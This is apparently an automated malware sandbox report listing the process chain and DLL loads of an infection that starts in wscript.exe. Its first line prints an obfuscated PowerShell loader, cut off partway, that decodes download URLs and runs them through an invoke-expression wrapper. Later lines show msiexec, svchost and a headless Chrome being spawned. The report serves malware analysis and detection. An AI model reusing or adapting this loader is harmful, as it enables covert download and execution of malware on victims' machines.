Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Skonnert='Privatest';;$Unpresumed='Revisionsarbejdes';;$Printede='Anamniotic';;$Erkendtligheden100='Petrolic38';;$Dybvandet=$host.Name;function Mareschal($Fibrillation){If ($Dybvandet) {$Jewbush=2} for ($Ambiguitet=$Jewbush;;$Ambiguitet+=3){if(!$Fibrillation[$Ambiguitet]) { break };$Klkning+=$Fibrillation[$Ambiguitet];$Cebian207='Motorcades'}$Klkning}function Dilemmatically($brynskov){ .($Underporch) ($brynskov)}$Lanciferous211=Mareschal 'SvNH e TBl..nW';$Lanciferous211+=Mareschal 'EreS BKic Lu ISyeUnnstT';$Ballelsseres=Mareschal 'plMLeoP zGli ilDel ta U/';$Jibbing=Mareschal ' WT FlSisPa1 a2';$Underleverancer='Me[HjnLee bT B.OvS e,frK v Hi dcpse RPCooBeIHunintR.M HAFlnImaPag,gEMiR ,] t:Te:PrsoueL CR,uF,R i EtOvySuPMiRfoo Nt To JC ,O l B=T $ ijHeI mb B BI kNS g';$Ballelsseres+=Mareschal 'Fo5In. C0I S(S W niAnnTadH.o.hwFosdi UaNA.TE .1R,0Re.Lu0Pa;.r DW iUnn A6,r4C,;Pe LxSi6 U4No;Ud BnrM vCr:A 1Hi3 1 P.Sk0O.)Se ,hGRee c .kpeog / I2Pa0Ju1.r0Sk0Sy1Vg0W,1Tt UgFCriBer Bem fEkospxTi/Ep1Th3Sa1 M. k0';$Ambiguitetntrapsychical=Mareschal 'UbuJos AeUnrNa-isaLiG HeJeN t';$Partisk=Mareschal 'OrhSptNot Rp.nsUn: ./tr/.pwVawHywsp.b pAftfrs.a.ungHerEmo u CpS,/.daMebG /K iV nPhfOvaPunF.tPhrTiyGlm Eeudn b.Ocd,peMep Ulo.o .y a>AlhSptS t op.fsac: r/K,/BawCiwskwSu.lupSku En Se testt ,.C aBeeUp/D ad,bKo/M iRanfaf Uason Bt .runy mSue ,n F.Hads.eAnpR lOkoSvy';$Hovedets=Mareschal 'T,>';$Underporch=Mareschal 'N i Se KX';$Kuldioxidets='Strateg';$Debatsidens='\Quaiches.Arg';Dilemmatically (Mareschal 'B $P GLeL.poNeB aA BLSk:Hoa eUdRSsa T deSm=U $,aeP nCaVR :Raa PFrPTadBeA uT uaCe+Sk$ .d HEFaB ADeTTos,ri,kdSiEInNBiS');Dilemmatically (Mareschal 'ge$.eG lAfO .bKnaAwlRy:S c ,hPaAAfp RLN.eFuSS SJo= ,$R pC AD RE tU.iAgSPeK . os ePFol OiPaTDe( o$Reh aoFoVInELsd E,fT hsTr)');Dilemmatically (Mareschal $Underleverancer);$Partisk=$Chapless[0];$bibbed=(Mareschal ' S$ eGFoLTmOUdbAdaUnL O: ,PMyi.icD tPru fRBoIFezInaCoT CIWaORenA,s H=LenKlE .w A-Ovo tbSpjShE.vC,uTNi RySSoyS s ptUde ,m o.n $AnL,aAanNFecDiIC,f eETir nOSmuSus e2 o1 g1');Dilemmatically ($bibbed);Dilemmatically (Mareschal ' T$O,P ,iRuc,itMuuL rAbiS z Ia.etG.iHoo n s .AlH.ee laHedSae ,rNosu [V $PoA PmOvb WiT.g uGriKotRueSht.knV,tKorP aDapT sSpy Ic.dhFii fcJuaInl G]M.=r $UnB LaTilFolKneUnlSusF sM.e PrPieGas');$Instrumenter=Mareschal ' H$SnP istcLet euC.rFuiR z BaInt Di Ao inLss C.,rDS oLywSvnU l .oAba ydTaFU.iAblD,e ( I$PlPMya BrAntRai Gs ,kJ ,Ro$ReFa,o,er ,nPrjFleMidGeeInsSy)';$Fornjedes=$Aerate;Dilemmatically (Mareschal 'fr$BrgLaLPeOFrBunA ,l ,: rvL.I rSpU TS ISS EGlN TS,u=Fr(Idt ,e TsbetBo-pepAnA .TDoh f W$GofPioAfRBln JB E dKoEBrSEn)');while (!$Virussens) {Dilemmatically (Mareschal 'Ov$ ngEtl Co obS,aBal B: uAFinMaa lgMir DaB mFem aaFrtAdi sPreFo= $ iANimSlbAliC g KuH i FtV ePrtBanMudBrsGekR yT.d eFll rssue 2,o3 F6') ;Dilemmatically $Instrumenter;Dilemmatically (Marescha	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\System32\svchost.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe --user-data-dir="C:\Users\user\AppData\Local\Temp\chrBC15.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/1aeadd7b/4a1b3c1a"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Media Player\wmpnscfg.exe "C:\Program Files\Windows Media Player\wmpnscfg.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2512 --field-trial-handle=2488,i,17319326758939712999,7125565057770333449,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Process created: C:\Windows\System32\dllhost.exe "C:\Windows\system32\dllhost.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
